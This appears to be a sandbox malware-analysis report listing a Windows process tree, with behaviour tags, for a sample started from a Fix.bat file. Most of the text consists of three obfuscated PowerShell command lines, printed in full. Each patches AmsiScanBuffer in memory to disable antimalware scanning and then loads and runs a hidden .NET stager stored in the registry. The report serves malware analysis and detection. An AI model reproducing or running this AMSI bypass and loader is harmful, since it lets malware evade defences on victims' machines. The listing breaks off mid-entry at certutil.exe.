PID 2064 wrote to memory of 2036	2064	dllhost.exe	svchost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3108 attrib.exe

pid	process
3108	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:316

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{00eca804-5229-42b0-9a24-a13594b6ae71}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2a325d82-23e9-4c30-b296-202ad43a1b1d}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e77d91e6-43ca-4ca4-9999-d94b4ecf3a5f}
2⤵
PID:2972

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1132

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lqxsMvNXCJXA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mQjzuTVsjjmEnx,[Parameter(Position=1)][Type]$RLJwkUFXHu)$QFQuQvFsDcq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+'eal'+'e'+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'la'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$QFQuQvFsDcq.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+'Hi'+'d'+''+[Char](101)+''+'B'+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$mQjzuTVsjjmEnx).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$QFQuQvFsDcq.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic,'+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$RLJwkUFXHu,$mQjzuTVsjjmEnx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+'i'+'m'+[Char](101)+''+','+''+[Char](77)+'a'+'n'+'a'+[Char](103)+''+'e'+'d');Write-Output $QFQuQvFsDcq.CreateType();}$ltSDtKgFSuwKM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n3'+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+'s');$yUpEAaXqFhkTCS=$ltSDtKgFSuwKM.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+'o'+[Char](99)+'Ad'+[Char](100)+'r'+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TswAYtxkcqDRGWMoNjC=lqxsMvNXCJXA @([String])([IntPtr]);$UlisTRKUYuwmqrYpXCOxbr=lqxsMvNXCJXA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OiqYxYpiTSr=$ltSDtKgFSuwKM.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'er'+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$fqRZaBDEeXTIPl=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$OiqYxYpiTSr,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$NSCOoqoVnWXgUkxhX=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$OiqYxYpiTSr,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ua'+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$GiJlxMb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fqRZaBDEeXTIPl,$TswAYtxkcqDRGWMoNjC).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NujfQZjjToarEdnCb=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$GiJlxMb,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fe'+[Char](114)+'')));$iYqkhgXHxV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSCOoqoVnWXgUkxhX,$UlisTRKUYuwmqrYpXCOxbr).Invoke($NujfQZjjToarEdnCb,[uint32]8,4,[ref]$iYqkhgXHxV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NujfQZjjToarEdnCb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSCOoqoVnWXgUkxhX,$UlisTRKUYuwmqrYpXCOxbr).Invoke($NujfQZjjToarEdnCb,[uint32]8,0x20,[ref]$iYqkhgXHxV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wbgEfUEgQpbt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HdCwuzJjZOcQfb,[Parameter(Position=1)][Type]$DPKebSinUV)$CBcdWrOBfXO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+'ect'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+'s'+','+'P'+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+','+'S'+[Char](101)+''+[Char](97)+''+'l'+'e'+'d'+','+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'A'+'ut'+[Char](111)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$CBcdWrOBfXO.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+'e,'+'H'+'id'+[Char](101)+'BySig'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$HdCwuzJjZOcQfb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$CBcdWrOBfXO.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+','+'Hi'+[Char](100)+'e'+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+'t'+[Char](44)+'V'+'i'+'r'+'t'+'ua'+'l'+'',$DPKebSinUV,$HdCwuzJjZOcQfb).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $CBcdWrOBfXO.CreateType();}$CPaortkewPSgv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+'m.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+'s');$fsRmvIcauFVKmp=$CPaortkewPSgv.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bgKWlErDuvmufFZprOx=wbgEfUEgQpbt @([String])([IntPtr]);$iUDMmIQKfDlJDeaiqgxieT=wbgEfUEgQpbt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GzHMRtuPyHq=$CPaortkewPSgv.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'l'+'e'+'H'+[Char](97)+''+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'e'+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$mQGULqrsifTofr=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$GzHMRtuPyHq,[Object](''+'L'+'oa'+'d'+''+'L'+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$nmXFImWCSkNLDoeom=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$GzHMRtuPyHq,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$nXwrlwj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mQGULqrsifTofr,$bgKWlErDuvmufFZprOx).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$bTkndDOtHvcNqYWyw=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$nXwrlwj,[Object]('A'+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+'er')));$FXWyOhGZuc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nmXFImWCSkNLDoeom,$iUDMmIQKfDlJDeaiqgxieT).Invoke($bTkndDOtHvcNqYWyw,[uint32]8,4,[ref]$FXWyOhGZuc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bTkndDOtHvcNqYWyw,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nmXFImWCSkNLDoeom,$iUDMmIQKfDlJDeaiqgxieT).Invoke($bTkndDOtHvcNqYWyw,[uint32]8,0x20,[ref]$FXWyOhGZuc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sfJDnxkwbOlf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fPwaRqwiqtRUZP,[Parameter(Position=1)][Type]$HNYnrhDXXc)$HKipAMZOEXk=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+'el'+'e'+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'emo'+'r'+'y'+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+'l'+'e'+''+'g'+'a'+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+'n'+''+'s'+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$HKipAMZOEXk.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+'pe'+'c'+'i'+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fPwaRqwiqtRUZP).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+'i'+''+'m'+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$HKipAMZOEXk.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$HNYnrhDXXc,$fPwaRqwiqtRUZP).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+'a'+''+[Char](110)+'a'+'g'+'e'+'d'+'');Write-Output $HKipAMZOEXk.CreateType();}$PBeWfvrjqDoaN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+'o'+[Char](115)+'o'+[Char](102)+''+[Char](116)+'.'+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+'.U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$oWSjFBSEKLKtyQ=$PBeWfvrjqDoaN.GetMethod(''+'G'+''+[Char](101)+''+'t'+'Proc'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qJuNgZBpdjFuZdfvRMv=sfJDnxkwbOlf @([String])([IntPtr]);$dJKlyrsXwOpJaTNmfEOffH=sfJDnxkwbOlf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NzpoDbIUFkF=$PBeWfvrjqDoaN.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'n'+'e'+'l'+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$klNqabyMuOAgMe=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$NzpoDbIUFkF,[Object]('L'+[Char](111)+'adL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$MZRxlQGJbaUaIANgs=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$NzpoDbIUFkF,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$yzxgbZK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($klNqabyMuOAgMe,$qJuNgZBpdjFuZdfvRMv).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+'.'+[Char](100)+''+'l'+''+[Char](108)+'');$jQSNinbNznilzubiD=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$yzxgbZK,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+''+'r'+'')));$IRZDOunEvt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MZRxlQGJbaUaIANgs,$dJKlyrsXwOpJaTNmfEOffH).Invoke($jQSNinbNznilzubiD,[uint32]8,4,[ref]$IRZDOunEvt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jQSNinbNznilzubiD,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MZRxlQGJbaUaIANgs,$dJKlyrsXwOpJaTNmfEOffH).Invoke($jQSNinbNznilzubiD,[uint32]8,0x20,[ref]$IRZDOunEvt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'TW'+[Char](65)+'R'+'E'+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:2204

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1368

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2712

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2852

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3500

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1488

C:\Windows\system32\certutil.exe
